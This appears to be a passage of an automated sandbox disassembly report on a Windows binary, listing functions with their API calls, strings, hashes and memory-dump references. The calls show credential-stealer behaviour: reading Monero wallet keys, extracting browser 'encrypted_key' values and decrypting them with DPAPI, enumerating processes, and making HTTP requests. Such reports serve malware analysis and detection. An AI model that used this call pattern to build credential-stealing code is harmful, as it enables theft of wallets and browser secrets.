Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,01021580,01020D92), ref: 0100F54C
lstrlen.KERNEL32(00000000), ref: 0100F56B

Strings

moz-extension+++, xrefs: 0100F5AD
^userContextId=4294967295, xrefs: 0100F59C

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 9f7c1a081dd45c2206301f27b3d66324735138e13b0a25ffc71dee03b9596637
Instruction ID: 0a962add7d40b147380244dfa03b06bf73a6aa75936d2162ceead752828e1a6e
Opcode Fuzzy Hash: 9f7c1a081dd45c2206301f27b3d66324735138e13b0a25ffc71dee03b9596637
Instruction Fuzzy Hash: 15514275E0114AEBDB04FBB4DD94DED7379AF64210F408528E847A7194EE386B0ECBA0

Function 01009CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 01009D39

Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009AEF
Part of subcall function 01009AC0: LocalAlloc.KERNEL32(00000040,?,?,?,01004EEE,00000000,?), ref: 01009B01
Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009B2A
Part of subcall function 01009AC0: LocalFree.KERNEL32(?,?,?,?,01004EEE,00000000,?), ref: 01009B3F

Part of subcall function 01009B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 01009B84
Part of subcall function 01009B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 01009BA3
Part of subcall function 01009B60: LocalFree.KERNEL32(?), ref: 01009BD3

Strings

, xrefs: 01009DC1
DPAPI, xrefs: 01009D89
"encrypted_key":", xrefs: 01009D30

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 141e077506efe7785e3b1e5582800e85a7bed1cb845b4c6ed9440228f4315d2c
Instruction ID: 664cf9461820a0c5899ac02b4eaffe7ce169b083065e72c375e8114b2583d936
Opcode Fuzzy Hash: 141e077506efe7785e3b1e5582800e85a7bed1cb845b4c6ed9440228f4315d2c
Instruction Fuzzy Hash: 4A3181B5D0010DABEF05EFE8DC85AEFB7B8BF48304F144559EA55A7281E7349A04CBA1

Function 01018680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010205B7), ref: 010186CA
Process32First.KERNEL32(?,00000128), ref: 010186DE
Process32Next.KERNEL32(?,00000128), ref: 010186F3

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

CloseHandle.KERNEL32(?), ref: 01018761

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 71a415d4f392409b74aeb1a84e8da3103b5c22ec59efe527e25df2584e4a92f5
Instruction ID: a67608152f42ada780e1cd62c491cdc3009f59583382fd51468b218350e5047a
Opcode Fuzzy Hash: 71a415d4f392409b74aeb1a84e8da3103b5c22ec59efe527e25df2584e4a92f5
Instruction Fuzzy Hash: E4316B71A02259EBCB24EF55DC44FEEB778FB54710F004199E50AA7198DB386B45CFA0

Function 01016AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01868DD0,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01016AE8
CloseHandle.KERNEL32(00000000), ref: 01016AF9
Sleep.KERNEL32(00001770), ref: 01016B04
CloseHandle.KERNEL32(?,00000000,?,01868DD0,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016B1A
ExitProcess.KERNEL32 ref: 01016B22

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d8db6ff1035b0f77bc9c74c60be9b24512885abf25b4f01e53e3401b11e74822
Instruction ID: ed734f82b2c0856c0a8f92b630e0d95057bf43e745306bd40c70f44c0ae050b6
Opcode Fuzzy Hash: d8db6ff1035b0f77bc9c74c60be9b24512885abf25b4f01e53e3401b11e74822
Instruction Fuzzy Hash: DAF03A35A8020AABE720ABA0AC59BBE7A74FB14741F404514B583A6188CBF95540CA55

Function 010047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Strings

<, xrefs: 010047C9

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 21231974e2ea142553197e468bd250495bbfc90db53889795249c1070c37f506
Instruction ID: 2f8020c6818b6cc5fd72741b57b61ced903e12f5d062f772afd63e19c8fe3ac7
Opcode Fuzzy Hash: 21231974e2ea142553197e468bd250495bbfc90db53889795249c1070c37f506
Instruction Fuzzy Hash: 8A214FB5E41209ABDF14DFA4E849ADE7B75FB44320F108625F965A72C0EB706A09CF81

Function 010151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 01006280: InternetOpenA.WININET(01020DFE,00000001,00000000,00000000,00000000), ref: 010062E1
Part of subcall function 01006280: StrCmpCA.SHLWAPI(?,0186E718), ref: 01006303
Part of subcall function 01006280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01006335
Part of subcall function 01006280: HttpOpenRequestA.WININET(00000000,GET,?,0186DEE8,00000000,00000000,00400100,00000000), ref: 01006385
Part of subcall function 01006280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 010063BF
Part of subcall function 01006280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 010063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015228

Strings

ERROR, xrefs: 0101521A
ERROR, xrefs: 01015273

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 84d659ccf11cc81e91665b45ee3653fb782ebe2a48ab03394a8831dc3a10e817
Instruction ID: dba8a6414fe459658960aac8c7d083c4b8685f015493f14fb9aa4845b201f2e1
Opcode Fuzzy Hash: 84d659ccf11cc81e91665b45ee3653fb782ebe2a48ab03394a8831dc3a10e817
Instruction Fuzzy Hash: 96115E31A01089EBDB14FF74DD90AED7338AF60210F804158F88B4B594EF78AB0ACB90

Function 01014F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014F7A
lstrcat.KERNEL32(?,01021070), ref: 01014F97
lstrcat.KERNEL32(?,01868F50), ref: 01014FAB
lstrcat.KERNEL32(?,01021074), ref: 01014FBD

Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
Part of subcall function 01014910: FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
Part of subcall function 01014910: FindClose.KERNEL32(000000FF), ref: 01014B92

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 455b8a679aa1d2a2b0d14a26a1c85209ce8bf39847b0fd21eafed407687f563e
Instruction ID: f20483b40bea3ee0737a9acaf1eb0292df7d49f856ded2c751cc4e75c35ad191
Opcode Fuzzy Hash: 455b8a679aa1d2a2b0d14a26a1c85209ce8bf39847b0fd21eafed407687f563e
Instruction Fuzzy Hash: 4D21B87AA40205A7D764F7A0EC49ED9333DE764700F404549B6CA97188EE7497C98B91

Function 01010740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01868F60), ref: 0101079A
StrCmpCA.SHLWAPI(00000000,01868FF0), ref: 01010866
